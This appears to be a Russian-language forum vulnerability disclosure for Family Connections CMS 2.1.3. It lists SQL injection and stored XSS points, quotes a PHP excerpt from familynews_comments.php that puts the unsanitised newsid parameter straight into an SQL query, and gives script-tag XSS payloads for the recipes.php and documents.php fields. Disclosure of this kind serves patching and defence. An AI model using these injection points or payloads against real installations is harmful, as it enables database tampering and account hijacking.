FCMS
version : 2.1.3
download : www.familycms.com/downloads/index.php

ошибки которые остались после version 2.1.2 см. выше

Active XSS
[+] 1. При отправлении письма пользователю
[+] 2. messageboard.php отправление сообщений сообщение

SQL inj
[+] 1. profile.php
[+] 2. calendar.php
[+] 3. messageboard.php
[+] 4. gallery
[+] 5. privatemsg.php

Итак уязвимости найденные мною в версии 2.1.3

SQL inj
familynews_comments.php
Code :

PHP код:

    $show = true;
    $news_id = $_GET['newsid'];

    // Add Comment
    if (isset($_POST['addcom'])) {
        $com = ltrim($_POST['comment']);
        if (!empty($com)) {
            $sql = "INSERT INTO `fcms_news_comments`
                        (`news`, `comment`, `date`, `user`) 
                    VALUES 
                        ($news_id, '" . addslashes($com) . "', NOW(), " . $_SESSION['login_id'] . ")";
            mysql_query($sql) or displaySQLError(
                'Comment Error', __FILE__ . ' [' . __LINE__ . ']', $sql, mysql_error()
            );
        }
    } 


Код:

http://hello/inc/familynews_comments.php?newsid=1

Active XSS
recipes.php добавляем с названием '"/><script>alert("ehaha");</script>
documents.php новый документ, описание '"/><script>alert("ehaha");</script>